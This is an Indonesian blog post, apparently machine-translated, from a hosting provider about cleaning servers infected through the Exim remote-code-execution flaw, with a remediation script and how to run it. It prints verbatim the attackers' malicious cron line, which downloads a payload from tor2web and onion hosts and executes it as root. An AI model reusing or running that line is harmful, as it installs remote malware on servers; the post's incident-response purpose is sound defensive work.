Kerentanan dengan RCE Exim sudah cukup sensasional, dan cukup banyak merusak saraf administrator sistem di seluruh dunia.
Segera setelah infeksi besar (banyak klien kami menggunakan Exim sebagai server mail) mereka dengan cepat menyebarkan skrip untuk mengotomatisasi solusi untuk masalah tersebut. Script ini jauh dari ideal dan penuh dengan kode suboptimal, tetapi ini adalah solusi pertempuran cepat agar tidak melakukan tindakan yang sama pada ratusan atau bahkan ribuan server.
Ini bekerja pada server yang menjalankan Centos, RHEL, Debian, Ubuntu dengan server email Exim diinstal.
Bagaimana memahami bahwa server diretas?
Periksa proses yang sedang berjalan dengan perintah atas.
Pada server yang terinfeksi, ada beban 100% yang dibuat oleh proses [kthrotlds]. Juga di penjadwal cron tugas ditambahkan dengan hak pengeditan terbatas.
Bagian Peringatan
Semua insiden infeksi yang kami temui memiliki tipe yang sama, gelombang kedua dan ketiga mungkin berbeda dari mereka - bagi mereka mungkin perlu memodifikasi skrip. Pada saat infeksi, tugas-tugas dalam cron hilang tanpa dapat ditarik kembali dan mereka harus dikembalikan dengan tangan. Script "memotong bahu" - pembaruan tanpa rasa takut Exim ke versi ditambal, dalam kasus Centos 6 bahkan dari repositori tes. Contoh malware ada dalam memori, sehingga server
harus dihidupkan ulang segera setelah membersihkan mahkota.
Penting: kerentanan memungkinkan mengeksekusi kode dari root, yang tidak memberikan jaminan kesembuhan seratus persen. Memiliki akses root ke server, Anda dapat menyembunyikan hampir semua hal di server ini, sehingga hampir tidak mungkin menemukannya. Dijamin untuk benar-benar menyembuhkan server hanya dapat menginstal ulang lengkap, tetapi jauh dari selalu mungkin Jika tidak ada kemungkinan untuk menginstal ulang server, dan gejalanya sama seperti yang dijelaskan, Anda dapat mencoba dengan cepat mengisi lubang dengan skrip ini.
Dengan menggunakan skrip, Anda melakukan ini atas risiko dan risiko Anda sendiri: kami menguji skrip pada sejumlah server, namun, selalu ada risiko versi perangkat lunak yang tidak kompatibel atau konflik konfigurasi.
Skrip kami juga memungkinkan Anda untuk menyembuhkan hanya satu dari kemungkinan implementasi infeksi - mungkin sekarang sudah ada cara lain untuk mengeksploitasi kerentanan yang belum masuk ke dalam pandangan kami.
Apa yang dilakukan skrip?
1. Pembaruan Exim, instal ulang ikal.
2. Memeriksa infeksi di server.
Script menganalisis tugas-tugas penjadwal untuk keberadaan inklusi yang mencurigakan.Misalnya, seperti:
*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; (${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp
2a. Jika ada jejak skrip virus di folder / etc, lakukan hal berikut
2b. Jika tidak ada jejak infeksi, skrip keluar.
Perbaikan
Virus menghapus semua pekerjaan penjadwal cron. Oleh karena itu, setelah me-reboot server, mereka harus dikonfigurasi ulang atau dipulihkan dari cadangan.
curl juga terinfeksi oleh virus, sehingga diinstal ulang.
Diperlukan boot ulang (skrip dijalankan secara otomatis setelah perawatan) - jika tidak, malware disimpan dalam memori server dan direplikasi sendiri setiap 30 detik bahkan setelah menghapus file yang terinfeksi.
Bagaimana cara menggunakan
Secara tradisional: sebelum memulai, pastikan Anda memiliki salinan cadangan aktual dari data server.
Untuk menjalankan skrip:
Terhubung ke server melalui ssh sebagai pengguna dengan hak akses root. Anda juga dapat menggunakan klien Shell di panel ISPmanager - Tools.
Di terminal, masukkan perintah:
wget https://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.sh
Harapkan skrip untuk menyelesaikan dan me-reboot server.
Setelah reboot, periksa operasi server dan situs / aplikasi yang dihosting di dalamnya, konfigurasi ulang atau kembalikan tugas ke cron dari cadangan.
Dan akhirnya
Sebenarnya, skrip adalah
solusi sementara untuk memulihkan server agar berfungsi, untuk pencegahan yang dijamin, solusi terbaik adalah beralih ke server baru dengan versi sistem operasi yang tidak lagi mengandung kerentanan.
Semua rekomendasi untuk menyelesaikan / memproses skrip dipersilahkan. Jika Anda menemukan gejala infeksi lain - tolong tunjukkan. Kerjasama pada saat infeksi massal secara signifikan mengurangi waktu yang dibutuhkan untuk menghilangkan infeksi ini.
Semoga beruntung
UPD1:
Ditambahkan pada github .
Kode sumber untuk skrip Malvari diunggah di sana, yang berhasil ditarik dari server yang terinfeksi .
UPD2: untuk Centos 6, rilis 4.92 datang dalam EPEL, sekarang di semua versi skrip diinstal dari repositori utama. Awalnya, skrip diunduh 4,92 untuk Centos 6 dari EPEL / pengujian.